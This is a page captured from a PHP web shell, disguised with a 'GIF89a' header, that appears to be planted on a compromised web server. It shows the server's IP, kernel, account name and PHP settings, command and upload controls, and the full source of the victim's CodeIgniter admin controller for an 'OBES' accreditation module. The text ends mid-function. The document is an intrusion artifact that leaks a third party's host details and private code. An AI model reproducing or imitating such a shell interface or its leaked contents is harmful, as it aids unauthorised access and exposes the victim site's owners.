GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 13.58.40.171
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/OBES.php
<?php

/**
 * Controller For Handling All Requests Related To OBES
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class OBES extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/OBESManagement");
        $this->load->model("admin/SessionManagement");
        $this->load->model('admin/BranchManagement');
        $this->load->model('admin/CourseManagement');
        $this->load->model('admin/SubjectManagement');
        $this->load->model('admin/StudentManagement');
    }

    public function criterion1() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(1)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(1)->result();
            $this->load->view("admin/OBES/criteria1", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile1() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = trim($this->input->post("csgf_session"));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session.");
                    $this->criterion1();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion1();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion1");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion1");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion1");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion2() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(2)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(2)->result();
            $this->load->view("admin/OBES/criteria2", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile2() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion2();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion2();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion2");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion2");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion2");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion3() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(3)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(3)->result();
            $this->load->view("admin/OBES/criteria3", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile3() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion3();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion3();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion3");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion3");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion3");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion4() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(4)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(4)->result();
            $this->load->view("admin/OBES/criteria4", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile4() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion4();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion4();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion4");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion4");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion4");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion5() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(5)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(5)->result();
            $this->load->view("admin/OBES/criteria5", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile5() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion5();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion5();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion5");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion5");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion5");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion6() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(6)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(6)->result();
            $this->load->view("admin/OBES/criteria6", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile6() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion6();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion6();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion6");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion6");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion6");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion7() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(7)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(7)->result();
            $this->load->view("admin/OBES/criteria7", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile7() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion7();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion7();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion7");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion7");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion7");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion8() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(8)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(8)->result();
            $this->load->view("admin/OBES/criteria8", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile8() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion8();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion8();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion8");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion8");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx*.txt,*.csv.");
                    redirect("admin/OBES/criterion8");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion9() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(9)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData["guidelineFile"] = $this->OBESManagement->getGuidelineFileByCriteriaOrder(9)->result();
            $this->load->view("admin/OBES/criteria9", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveGuideFile9() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cg = addslashes(trim($this->input->post("cg")));
            $csgm_withsession = addslashes(trim($this->input->post("withsession")));
            $sess = 0;
            if ($csgm_withsession == "T") {
                $sess = addslashes(trim($this->input->post("csgf_session")));
                $this->form_validation->set_rules("csgf_session", "Session", "trim|required", array("required" => "Please Select Session."));
                if ($this->form_validation->run() == false) {
                    $this->session->set_flashdata("errorMessage", "Please Select Session");
                    $this->criterion9();
                }
            }
            if (empty($_FILES['cgfm_file']['name'])) {
                $this->session->set_flashdata("errorMessage", "Please Select A File To Upload.");
                $this->criterion9();
            } else {
                $csgm_id = addslashes(trim($this->input->post("csgm_id")));
                $fileConfig["upload_path"] = "./assets/admin/uploads/obes";
                $fileConfig["allowed_types"] = "pdf|doc|docx|xls|xlsx|txt|csv";
                $fileConfig["max_size"] = "10000";
                $fileConfig["file_ext_tolower"] = TRUE;
                $fileConfig["overwrite"] = TRUE;
                $fileConfig["file_name"] = $csgm_id;
                $this->load->library("upload", $fileConfig);
                if ($this->upload->do_upload("cgfm_file")) {
                    $file = $this->upload->data()["file_name"];
                    if ($cg == "") {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->createNewGuidelineFile($data);
                        $this->session->set_flashdata("successMessage", "File Uploaded Successfully.");
                        redirect("admin/OBES/criterion9");
                    } else {
                        $data = array(
                            "csgm_id" => $csgm_id,
                            "cgfm_file" => "assets/admin/uploads/obes/" . $file,
                            "session_id" => $sess,
                            "cgfm_added_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_added_on" => date("Y-m-d H:i:s"),
                            "cgfm_update_by" => $this->session->userdata("adminData")["smember_id"],
                            "cgfm_update_on" => date("Y-m-d H:i:s")
                        );
                        $this->OBESManagement->updateGuidelineFile($data, $cg);
                        $this->session->set_flashdata("successMessage", "File Updated Successfully");
                        redirect("admin/OBES/criterion9");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "The File Can Not Be Uploaded. Max. File Size 10 MB. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.xls,*.xlsx,*.txt,*.csv.");
                    redirect("admin/OBES/criterion9");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function criterion10() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["subCriteria"] = $this->OBESManagement->getAllSubCriteriaByOrder(10)->result();
            $viewData["guidelines"] = $this->OBESManagement->getAllSubCriteriaGuidelines()->result();
            $viewData["sessions"] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
